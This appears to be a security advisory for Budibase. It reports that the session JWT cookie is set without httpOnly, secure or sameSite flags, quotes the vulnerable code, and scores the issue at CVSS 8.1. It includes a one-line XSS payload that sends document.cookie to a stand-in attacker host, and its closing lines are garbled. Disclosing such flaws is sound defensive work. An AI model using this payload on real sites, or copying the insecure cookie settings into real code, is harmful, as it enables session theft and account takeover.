The budibase:auth cookie containing the JWT session token is set with httpOnly: false at packages/backend-core/src/utils/utils.ts:218. JavaScript can read this cookie via document.cookie. Given that Budibase has had XSS vulnerabilities (GHSA-gp5x-2v54-v2q5 — stored XSS via unsanitized entity names, published April 2, 2026), this means every XSS becomes a full account takeover — the attacker steals the JWT and has persistent access to the victim's account.
The cookie also lacks secure: true (sent over plaintext HTTP) and sameSite attribute.
packages/backend-core/src/utils/utils.ts, lines 215-226:
const config: SetOption = {
expires: MAX_VALID_DATE,
path: "/",
httpOnly: false, // ← JavaScript can read the session JWT
overwrite: true,
}
if (env.COOKIE_DOMAIN) {
config.domain = env.COOKIE_DOMAIN
}
ctx.cookies.set(name, value, config)
This function is called for setting the budibase:auth cookie which contains the signed JWT session token. With httpOnly: false, any JavaScript execution context (XSS, injected script, browser extension) can read the token via document.cookie.
Missing flags:
httpOnly: false → should be true (prevent JS access)secure flag → cookie sent over HTTP (should be secure: true for HTTPS deployments)sameSite → susceptible to cross-site request attachment (should be sameSite: 'lax')Any XSS payload can steal the session:
// Attacker's XSS payload — steals session and sends to attacker server
new Image().src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
With httpOnly: true, this payload would get an empty string for the auth cookie. Without it, the full JWT is exfiltrated.
Combined with GHSA-gp5x-2v54-v2q5 (stored XSS in entity names), an attacker could:
<script> payload3.35.10Exploitability
AV:NAC:LPR:HUI:RScope
S:CImpact
C:HI:HA:N8.1/CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:NOther